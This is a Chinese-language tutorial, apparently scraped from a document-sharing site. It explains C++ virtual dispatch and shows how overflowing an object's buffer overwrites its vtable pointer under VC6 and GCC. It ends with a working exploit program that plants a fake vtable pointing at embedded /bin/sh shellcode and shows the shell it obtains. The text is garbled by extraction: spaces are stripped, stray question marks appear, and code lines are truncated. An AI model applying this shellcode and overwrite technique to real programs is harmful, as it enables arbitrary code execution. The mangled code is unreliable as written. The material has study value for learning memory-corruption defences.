C中通过溢出覆盖虚函数指针列表执行代码.docx
- 文档编号:8191824
- 上传时间:2023-01-29
- 格式:DOCX
- 页数:15
- 大小:20.12KB
C中通过溢出覆盖虚函数指针列表执行代码.docx
《C中通过溢出覆盖虚函数指针列表执行代码.docx》由会员分享,可在线阅读,更多相关《C中通过溢出覆盖虚函数指针列表执行代码.docx(15页珍藏版)》请在冰豆网上搜索。
C中通过溢出覆盖虚函数指针列表执行代码
C++中通过溢出覆盖虚函数指针列表执行代码
目录:
1.C++中虚函数的静态联编和动态联编
2.VC中对象的空间组织和溢出试验
3.GCC中对象的空间组织和溢出试验
4.参考
<一>C++中虚函数的静态联编和动态联编
C++中的一大法宝就是虚函数,简单来说就是加virtual关键字定义的函数。
其特性就是支持动态联编。
现在C++开发的大型软件中几乎已经离不开虚函数的
使用,一个典型的例子就是虚函数是MFC的基石之一。
这里有两个概念需要先解释:
静态联编:
通俗点来讲就是程序编译时确定调用目标的地址。
动态联编:
程序运行阶段确定调用目标的地址。
在C++中通常的函数调用都是静态联编,但如果定义函数时加了virtual关键
字,并且在调用函数时是通过指针或引用调用,那么此时就是采用动态联编。
一个简单例子:
//test.cpp
#include
classClassA
{
public:
intnum1;
ClassA(){num1=0xffff;};
virtualvoidtest1(void){};
virtualvoidtest2(void){};
};
ClassAobjA,*pobjA;
intmain(void)
{
pobjA=&objA;
objA.test1();
objA.test2();
pobjA->test1();
pobjA->test2();
return0;
}
使用VC编译:
开一个命令行直接在命令行调用cl来编译:
(如果你安装vc时没有选择注册环境
变量,那么先在命令行运行VC目录下bin\VCVARS32.BAT)
cltest.cpp/Fa
产生test.asm中间汇编代码
接下来就看看asm里有什么玄虚,分析起来有点长,要有耐心!
我们来看看:
数据定义:
_BSSSEGMENT
?
objA@@3VClassA@@ADQ01HDUP(?
);objA64位
?
pobjA@@3PAVClassA@@ADD01HDUP(?
);pobjA一个地址32位
_BSSENDS
看到objA为64位,里边存放了哪些内容呢?
接着看看构造函数:
_this$=-4
?
?
0ClassA@@QAE@XZPROCNEAR;ClassA:
:
ClassA()定义了一个变量_this?
!
;Filetest.cpp
;Line6
pushebp
movebp,esp
pushecx
movDWORDPTR_this$[ebp],ecx;ecx赋值给_this?
?
不明白?
?
moveax,DWORDPTR_this$[ebp]
movDWORDPTR[eax],OFFSETFLAT:
?
?
_7ClassA@@6B@
;ClassA:
:
`vftable'
;前面的部分都是编译器加的东东,我们的赋值在这里
movecx,DWORDPTR_this$[ebp]
movDWORDPTR[ecx+4],65535;0xffffnum1=0xffff;
;看来_this+4就是num1的地址
moveax,DWORDPTR_this$[ebp]
movesp,ebp
popebp
ret0
?
?
0ClassA@@QAE@XZENDP
那个_this和movDWORDPTR_this$[ebp],ecx让人比较郁闷了吧,不急看看何
处调用的构造函数:
_$E9PROCNEAR
;Filetest.cpp
;Line10
pushebp
movebp,esp
movecx,OFFSETFLAT:
?
objA@@3VClassA@@A
call?
?
0ClassA@@QAE@XZ;callClassA:
:
ClassA()
popebp
ret0
_$E9ENDP
看,ecx指向objA的地址,通过赋值,那个_this就是objA的开始地址,其实CLASS中
的非静态方法编译器编译时都会自动添加一个this变量,并且在函数开始处把ecx
赋值给他,指向调用该方法的对象的地址。
那么构造函数里的这两行又是干什么呢?
moveax,DWORDPTR_this$[ebp]
movDWORDPTR[eax],OFFSETFLAT:
?
?
_7ClassA@@6B@
;ClassA:
:
`vftable'
我们已经知道_this保存的为对象地址:
&objA。
那么eax=&objA
接着就相当于(*eax)=OFFSETFLAT:
?
?
_7ClassA@@6B@
来看看?
?
_7ClassA@@6B@是哪个道上混的:
CONSTSEGMENT
?
?
_7ClassA@@6B@
DDFLAT:
?
test1@ClassA@@UAEXXZ;ClassA:
:
`vftable'
DDFLAT:
?
test2@ClassA@@UAEXXZ
CONSTENDS
看来这里存放的就是test1(),test2()函数的入口地址!
那么这个赋值:
movDWORDPTR[eax],OFFSETFLAT:
?
?
_7ClassA@@6B@
;ClassA:
:
`vftable'
就是在对象的起始地址填入这么一个地址列表的地址。
好了,至此我们已经看到了objA的构造了:
|低地址|
+--------+--->objA的起始地址&objA
|pvftable|
+--------+-------------------------+
|num1|num1变量的空间|
+--------+--->objA的结束地址+--->+--------------+地址表vftable
|高地址||test1()的地址|
+--------------+
|test2()的地址|
+--------------+
来看看main函数:
_mainPROCNEAR
;Line13
pushebp
movebp,esp
;Line14
movDWORDPTR?
pobjA@@3PAVClassA@@A,
OFFSETFLAT:
?
objA@@3VClassA@@A;pobjA=&objA
;Line15
movecx,OFFSETFLAT:
?
objA@@3VClassA@@A;ecx=this指针
;指向调用者的地址
call?
test1@ClassA@@UAEXXZ;objA.test1()
;objA.test1()直接调用,已经确定了地址
;Line16
movecx,OFFSETFLAT:
?
objA@@3VClassA@@A
call?
test2@ClassA@@UAEXXZ;objA.test2()
;Line17
moveax,DWORDPTR?
pobjA@@3PAVClassA@@A;pobjA
movedx,DWORDPTR[eax];edx=vftable
movecx,DWORDPTR?
pobjA@@3PAVClassA@@A;pobjA
callDWORDPTR[edx];
;callvftable[0]即pobjA->test1()看地址是动态查找的;)
;Line18
moveax,DWORDPTR?
pobjA@@3PAVClassA@@A;pobjA
movedx,DWORDPTR[eax]
movecx,DWORDPTR?
pobjA@@3PAVClassA@@A;pobjA
callDWORDPTR[edx+4];pobjA->test2()
;callvftable[1]而vftable[1]里存放的是test2()的入口地址
;Line19
xoreax,eax
;Line20
popebp
ret0
_mainENDP
好了,相信到这里你已经对动态联编有了深刻印象。
<二>VC中对象的空间组织和溢出试验
通过上面的分析我们可以对对象空间组织概括如下:
|低地址|
+----------+--->objA的起始地址&objA
|pvftable|--------------------->+
+----------+|
|各成员变量||
+----------+--->objA的结束地址+--->+--------------+地址表vftable
|高地址||虚函数1的地址|
+--------------+
|虚函数2的地址|
+--------------+
|......|
可以看出如果我们能覆盖pvtable然后构造一个自己的vftable表那么动态联编就使得
我们能改变程序流程!
现在来作一个溢出试验:
先写个程序来看看
#include
classClassEx
{
};
intbuff[1];
ClassExobj1,obj2,*pobj;
intmain(void)
{
cout< "<<&obj1<<": "<<&obj2<<": "<<&pobj< return0; } 用cl编译运行结果为: 0x00408998: 0x00408990: 0x00408991: 0x00408994 编译器把buff的地址放到后面了! 把程序改一改,定义变量时换成: ClassExobj1,obj2,*pobj; intbuff[1]; 结果还是一样! ! 不会是vc就是防着这一手吧! 看来想覆盖不容易呀;) 只能通过obj1溢出覆盖obj2了 //ex_vc.cpp #include classClassEx { public: intbuff[1]; virtualvoidtest(void){cout<<"ClassEx: : test()"< }; voidentry(void) { cout<<"Whyauhere? ! "< }; ClassExobj1,obj2,*pobj; intmain(void) { pobj=&obj2; obj2.test(); intvtab[1]={(int)entry};//构造vtab, //entry的入口地址 obj1.buff[1]=(int)vtab;//obj1.buff[1]就是obj2的pvftable域 //这里修改了函数指针列表的地址到vtab pobj->test(); return0; } 编译clex_vc.cpp 运行结果: ClassEx: : test() Whyauhere? ! 测试环境: VC6 看我们修改了程序执行流程^_^ 平时我们编程时可能用virtaul不多,但如果我们使用BC/VC等,且使用了厂商提供的 库,其实我们已经大量使用了虚函数,以后写程序可要小心了,一个不留神的变量 赋值可能会后患无穷。 //开始琢磨好多系统带的程序也是vc写的,里边会不会.... <三>GCC中对象的空间组织和溢出试验 刚才我们已经分析完vc下的许多细节了,那么我们接下来看看gcc里有没有什么不 一样! 分析方法一样,就是写个test.cpp用gcc-Stest.cpp来编译得到汇编文件 test.s然后分析test.s我们就能得到许多细节上的东西。 通过分析我们可以看到: gcc中对象地址空间结构如下: |低地址| +---------------+对象的开始地址 || |成员变量空间| || +---------------+ |pvftable|----------->+------------------+vftable +---------------+|0| |高地址|+------------------+ |XXXXXXXX| +------------------+ |0| +-----------------+ |虚函数1入口地址| +------------------+ |0| +-----------------+ |虚函数2入口地址| +------------------+ |......| 哈哈,可以看到gcc下有个非常大的优势,就是成员变量在pvftable 前面,要是溢出成员变量赋值就能覆盖pvftable,比vc下方便多了! 来写个溢出测试程序: //test.cpp #include classClassTest { public: longbuff[1];//大小为1 virtualvoidtest(void) { cout<<"ClassTesttest()"< } }; voidentry(void) { cout<<"Whyareuhere? ! "< } intmain(void) { ClassTesta,*p=&a; longaddr[]={0,0,0,(long)entry};//构建的虚函数表 //test()->entry() a.buff[1]=(long)addr;//溢出,操作了虚函数列表指针 a.test();//静态联编的,不会有事 p->test();//动态联编的,到我们的函数表去找地址, //结果就变成了调用函数entry() } 编译: gcctest.cpp-lstdc++ 执行结果: bash-2.05#./a.out ClassTesttest() Whyareuhere? ! 测试程序说明: 具体的就是gcc-Stest.cpp生成test.s后里边有这么一段: .section.gnu.linkonce.d._vt$9ClassTest,"aw",@progbits .p2align2 .type_vt$9ClassTest,@object .size_vt$9ClassTest,24 _vt$9ClassTest: .value0 .value0 .long__tf9ClassTest .value0 .value0 .longtest__9ClassTest----------+ .zero8| .comm__ti9ClassTest,8,4| | | test()的地址<----+ 这就是其虚函数列表里的内容了。 test()地址在第3个(long)型地址空间 所以我们构造addr[]时: longaddr[]={0,0,0,(long)entry}; 就覆盖了test()函数的地址为entry()的地址 p->test() 时就跑到我们构建的地址表里取了entry的地址去运行了 测试环境FreeBSD4.4 gcc2.95.3 来一个真实一点的测试: 通过溢出覆盖pvftable,时期指向一个我们自己构造的 vftable,并且让vftable的虚函数地址指向我们的一段shellcode 从而得到一个shell。 #include #include classClassBase//定义一个基础类 { public: charbuff[128]; voidsetBuffer(char*s) { strcpy(buff,s); }; virtualvoidprintBuffer(void){};//虚函数 }; classClassA: publicClassBase { public: voidprintBuffer(void) { cout<<"Name: "< }; }; classClassB: publicClassBase { public: voidprintBuffer(void) { cout<<"Thetext: "< }; }; charbuffer[512],*pc; long*pl=(long*)buffer; longaddr=0xbfbffabc;//在我的机器上就是&b^_* charshellcode[]="1\xc0Ph//shh/binT[PPSS4;\xcd\x80"; inti; intmain(void) { ClassAa; ClassBb; ClassBase*classBuff[2]={&a,&b}; a.setBuffer("Tom"); b.setBuffer("Hello! Thisisworldofc++."); for(i=0;i<2;i++)//C++中的惯用手法, //一个基础类的指针指向上层类对象时调 //用的为高层类的虚函数 classBuff[i]->printBuffer();//这里是正常用法 cout<<&a<<": "<<&b< //如果你的机器上两个值不同就改一改addr值吧! //构造一个特殊的buff呆会给b.setBuffer //在开始处构造一个vftable pl[0]=0xAAAAAAAA;//填充1 pl[1]=0xAAAAAAAA;//填充2 pl[2]=0xAAAAAAAA;//填充3 pl[3]=addr+16;//虚函数printBuffer入口地址 //的位置指向shell代码处了 pc=buffer+16; strcpy(pc,shellcode); pc+=strlen(shellcode); for(;pc-buffer<128;*pc++='A');//填充 pl=(long*)pc; *pl=addr;//覆盖pvftable使其指向我们构造的列表 b.setBuffer(buffer);//溢出了吧. //再来一次 for(i=0;i<2;i++) classBuff[i]->printBuffer();//classBuffer[1].printBuffer //时一个shell就出来了 return0; } bash-2.05$./a.out Name: Tom Thetext: Hello! Thisisworldofc++. 0xbfbffb44: 0xbfbffabc Name: $<------呵呵,成功了 说明: addr=&b也就是&b.buff[0] b.setBuffer(buffer) 就是让b.buff溢出,覆盖128+4+1个地址。 此时内存中的构造如下: &b.buff[0]也是&b ^ | | [填充1|填充2|填充3|addr+16|shellcode|填充|addr|\0] ____^___ ||| ||| |+---+|| ||| +--------------->128<--------------+| | 此处即pvftable项,被溢出覆盖为addr<---+ 现在b.buff[0]的开始处就构建了一个我们自己的虚 函数表,虚函数的入口地址为shellcode的地址! 本文只是一个引导性文字,还有许多没 有提到的细节,需要自己去分析。 俗话说自己动手丰衣足食*_& <四>参考 Phrack56#<
- 配套讲稿:
如PPT文件的首页显示word图标,表示该PPT已包含配套word讲稿。双击word图标可打开word文档。
- 特殊限制:
部分文档作品中含有的国旗、国徽等图片,仅作为作品整体效果示例展示,禁止商用。设计者仅对作品中独创性部分享有著作权。
- 关 键 词:
- 中通过溢出覆盖虚函数指针列表执行代码 通过 溢出 覆盖 函数 指针 列表 执行 代码